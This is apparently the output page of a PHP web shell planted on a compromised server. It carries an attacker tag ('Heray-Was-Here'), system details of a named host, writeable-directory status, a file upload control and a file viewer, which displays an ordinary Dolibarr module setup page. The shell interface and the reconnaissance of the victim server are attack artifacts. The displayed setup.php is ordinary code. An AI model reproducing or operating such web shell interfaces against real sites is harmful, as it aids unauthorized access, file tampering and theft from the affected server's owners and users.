Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/extraitcompteclient/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/extraitcompteclient/admin/setup.php
<?php
/* Copyright (C) 2007-2015 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2019-2022 Open-DSI             <support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	    \file       htdocs/extraitcompteclient/admin/setup.php
 *		\ingroup    extraitcompteclient
 *		\brief      Page to setup extraitcompteclient module
 */

// Change this following line to use the correct relative path (../, ../../, etc)
$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include '../../main.inc.php';			// to work if your module directory is into a subdir of root htdocs directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include '../../../main.inc.php';		// to work if your module directory is into a subdir of root htdocs directory
if (! $res) die("Include of main fails");
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
dol_include_once('/extraitcompteclient/lib/extraitcompteclient.lib.php');

$langs->load("admin");
$langs->load("extraitcompteclient@extraitcompteclient");
$langs->load("opendsi@extraitcompteclient");

if (!$user->admin) accessforbidden();

$action = GETPOST('action', 'aZ09');

/*
 *	Actions
 */

$errors = [];
$error = 0;

if ($action == 'setdefaultinvoicepayed') {
    $setdefaultinvoicepayed= GETPOST('value', 'int');
    $res = dolibarr_set_const($db, "EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_PAYED", $setdefaultinvoicepayed, 'yesno', 0, '', $conf->entity);
    if (!$res > 0)
        $error++;
}

if ($action == 'setdefaultinvoiceabandoned') {
    $setdefaultinvoiceabandoned= GETPOST('value', 'int');
    $res = dolibarr_set_const($db, "EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_ABANDONED", $setdefaultinvoiceabandoned, 'yesno', 0, '', $conf->entity);
    if (!$res > 0)
        $error++;
}

if ($action == 'setdefaultaddproducttags') {
    $setdefaultaddproducttags= GETPOST('value', 'int');
    $res = dolibarr_set_const($db, "EXTRAITCOMPTECLIENT_DEFAULT_ADD_PRODUCT_TAGS", $setdefaultaddproducttags, 'yesno', 0, '', $conf->entity);
    if (!$res > 0)
        $error++;
}

if ($action == 'set_extraitcompteclient_options') {
    $value = GETPOST('EXTRAITCOMPTECLIENT_PRODUCT_TAGS_SEPARATOR', "alpha");
    $res = dolibarr_set_const($db, 'EXTRAITCOMPTECLIENT_PRODUCT_TAGS_SEPARATOR', $value, 'chaine', 0, '', $conf->entity);
    if (!($res > 0)) {
        $errors[] = $db->lasterror();
        $error++;
    }

    $value = GETPOST('EXTRAITCOMPTECLIENT_FACTURE_CODE_EXTRAFIELD', "alpha");
    if ($value == -1) $value = '';
    $res = dolibarr_set_const($db, 'EXTRAITCOMPTECLIENT_FACTURE_CODE_EXTRAFIELD', $value, 'chaine', 0, '', $conf->entity);
    if (!($res > 0)) {
        $errors[] = $db->lasterror();
        $error++;
    }
} elseif (preg_match('/set_(.*)/',$action,$reg)) {
    $code = $reg[1];
    $value = (GETPOST($code) ? GETPOST($code) : 1);
    $res = dolibarr_set_const($db, $code, $value, 'chaine', 0, '', $conf->entity);
    if (!($res > 0)) {
        $errors[] = $db->lasterror();
        $error++;
    }
} elseif (preg_match('/del_(.*)/',$action,$reg)) {
    $code = $reg[1];
    $res = dolibarr_del_const($db, $code, $conf->entity);
    if (!($res > 0)) {
        $errors[] = $db->lasterror();
        $error++;
    }
}

if ($action != '') {
    if (!$error) {
        setEventMessages($langs->trans("SetupSaved"), null, 'mesgs');
    } else {
        setEventMessages($langs->trans("Error"), null, 'mesgs');
    }
}

/*
 *	View
 */

$form = new Form($db);

llxHeader();

$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans("ExtraitCompteClientSetup"),$linkback,'title_setup');
print "<br>\n";

$head=extraitcompteclient_admin_prepare_head();

dol_fiche_head($head, 'settings', $langs->trans("Module163030Name"), 0, 'opendsi@extraitcompteclient');

print '<br>';

print load_fiche_titre($langs->trans("ExtraitCompteClientSetup"),'','');

print '<form method="POST" action="'.$_SERVER["PHP_SELF"].'">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="set_extraitcompteclient_options">';

print '<div class="div-table-responsive-no-min">';
print '<table class="noborder centpercent">';
print '<tr class="liste_titre">';
print '<td width="20%">'.$langs->trans("Parameters").'</td>'."\n";
print '<td>'.$langs->trans("Description").'</td>'."\n";
print '<td width="30%">'.$langs->trans("Value").'</td>'."\n";
print "</tr>\n";

// EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_PAYED
print '<tr class="oddeven">';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultInvoicePayedName").'</td>';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultInvoicePayedDesc").'</td>';
if (!empty($conf->global->EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_PAYED)) {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultinvoicepayed&value=0">';
    print img_picto($langs->trans("Activated"), 'switch_on');
    print '</a></td>';
} else {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultinvoicepayed&value=1">';
    print img_picto($langs->trans("Disabled"), 'switch_off');
    print '</a></td>';
}
print '</tr>' . "\n";

// EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_ABANDONED
print '<tr class="oddeven">';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultInvoiceAbandonedName").'</td>';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultInvoiceAbandonedDesc").'</td>';
if (!empty($conf->global->EXTRAITCOMPTECLIENT_DEFAULT_INVOICE_ABANDONED)) {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultinvoiceabandoned&value=0">';
    print img_picto($langs->trans("Activated"), 'switch_on');
    print '</a></td>';
} else {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultinvoiceabandoned&value=1">';
    print img_picto($langs->trans("Disabled"), 'switch_off');
    print '</a></td>';
}
print '</tr>' . "\n";

// EXTRAITCOMPTECLIENT_DEFAULT_ADD_PRODUCT_TAGS
print '<tr class="oddeven">';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultAddProductTagsName").'</td>';
print '<td>'.$langs->trans("ExtraitCompteClientDefaultAddProductTagsDesc").'</td>';
if (!empty($conf->global->EXTRAITCOMPTECLIENT_DEFAULT_ADD_PRODUCT_TAGS)) {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultaddproducttags&value=0">';
    print img_picto($langs->trans("Activated"), 'switch_on');
    print '</a></td>';
} else {
    print '<td class="right"><a class="reposition" href="'.$_SERVER['PHP_SELF'].'?action=setdefaultaddproducttags&value=1">';
    print img_picto($langs->trans("Disabled"), 'switch_off');
    print '</a></td>';
}
print '</tr>' . "\n";

// EXTRAITCOMPTECLIENT_PRODUCT_TAGS_SEPARATOR
print '<tr class="oddeven">';
print '<td>'.$langs->trans("ExtraitCompteClientProductTagsSeparatorName").'</td>';
print '<td>'.$langs->trans("ExtraitCompteClientProductTagsSeparatorDesc").'</td>';
print '<td class="nowrap">';
print '<input type="text" name="EXTRAITCOMPTECLIENT_PRODUCT_TAGS_SEPARATOR" value="'.htmlspecialchars($conf->global->EXTRAITCOMPTECLIENT_PRODUCT_TAGS_SEPARATOR).'">';
print '</td></tr>';

// EXTRAITCOMPTECLIENT_FACTURE_CODE_EXTRAFIELD
print '<tr class="oddeven">'."\n";
print '<td>'.$langs->trans("ExtraitCompteClientFactureExtrafieldName").'</td>'."\n";
print '<td>'.$langs->trans("ExtraitCompteClientFactureExtrafieldDesc").'</td>'."\n";
print '<td class="nowrap">'."\n";
$extrafields = new ExtraFields($db);
$extralabels = $extrafields->fetch_name_optionals_label('facture');
print Form::selectarray("EXTRAITCOMPTECLIENT_FACTURE_CODE_EXTRAFIELD", $extralabels, $conf->global->EXTRAITCOMPTECLIENT_FACTURE_CODE_EXTRAFIELD, 1);
print '</td></tr>';

print '</table>';
print '</div>';

print '<br>';
print '<div align="center">';
print '<input type="submit" class="button" value="'.$langs->trans("Save").'">';
print '</div>';

print '</form>';

print dol_get_fiche_end();

llxFooter();

$db->close();

Hry